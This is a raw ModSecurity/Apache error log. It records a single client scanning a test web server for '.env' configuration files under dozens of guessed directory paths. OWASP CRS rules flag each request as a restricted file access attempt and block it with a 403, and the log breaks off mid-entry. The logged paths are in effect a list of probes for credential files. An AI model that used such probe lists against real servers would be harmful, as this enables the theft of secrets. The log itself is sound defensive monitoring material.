[Thu Feb 26 01:02:52.245537 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhHQAAAAE&quot;]
[Thu Feb 26 01:02:52.245690 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhHQAAAAE&quot;]
[Thu Feb 26 01:02:52.274683 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /acme/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PHgAAAAU&quot;]
[Thu Feb 26 01:02:52.274953 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PHgAAAAU&quot;]
[Thu Feb 26 01:02:52.275143 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PHgAAAAU&quot;]
[Thu Feb 26 01:02:52.279674 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /09-managing-state/begin/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhHgAAAAE&quot;]
[Thu Feb 26 01:02:52.279928 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhHgAAAAE&quot;]
[Thu Feb 26 01:02:52.280081 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhHgAAAAE&quot;]
[Thu Feb 26 01:02:52.300530 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /acme_challenges/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme_challenges/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PHwAAAAU&quot;]
[Thu Feb 26 01:02:52.300796 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme_challenges/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PHwAAAAU&quot;]
[Thu Feb 26 01:02:52.300974 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme_challenges/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PHwAAAAU&quot;]
[Thu Feb 26 01:02:52.329066 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /09-managing-state/end/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhHwAAAAE&quot;]
[Thu Feb 26 01:02:52.329337 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhHwAAAAE&quot;]
[Thu Feb 26 01:02:52.329522 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhHwAAAAE&quot;]
[Thu Feb 26 01:02:52.351382 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /actions-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/actions-server/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PIAAAAAU&quot;]
[Thu Feb 26 01:02:52.351646 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/actions-server/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PIAAAAAU&quot;]
[Thu Feb 26 01:02:52.351825 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/actions-server/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PIAAAAAU&quot;]
[Thu Feb 26 01:02:52.396597 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /3-sequelize/final/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/3-sequelize/final/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhIQAAAAE&quot;]
[Thu Feb 26 01:02:52.396849 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/3-sequelize/final/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhIQAAAAE&quot;]
[Thu Feb 26 01:02:52.397018 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/3-sequelize/final/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhIQAAAAE&quot;]
[Thu Feb 26 01:02:52.434103 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /31_structure_tests/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/31_structure_tests/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhIgAAAAE&quot;]
[Thu Feb 26 01:02:52.434428 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/31_structure_tests/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhIgAAAAE&quot;]
[Thu Feb 26 01:02:52.434612 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/31_structure_tests/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhIgAAAAE&quot;]
[Thu Feb 26 01:02:52.479786 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PIwAAAAU&quot;]
[Thu Feb 26 01:02:52.480041 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PIwAAAAU&quot;]
[Thu Feb 26 01:02:52.480217 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PIwAAAAU&quot;]
[Thu Feb 26 01:02:52.513688 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin-panel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-panel/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PJAAAAAU&quot;]
[Thu Feb 26 01:02:52.513955 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-panel/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PJAAAAAU&quot;]
[Thu Feb 26 01:02:52.514128 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-panel/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PJAAAAAU&quot;]
[Thu Feb 26 01:02:52.667456 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /adminapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminapp/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PKAAAAAU&quot;]
[Thu Feb 26 01:02:52.667673 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminapp/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PKAAAAAU&quot;]
[Thu Feb 26 01:02:52.667850 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminapp/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PKAAAAAU&quot;]
[Thu Feb 26 01:02:52.749858 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /adminer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminer/.env&quot;] [unique_id 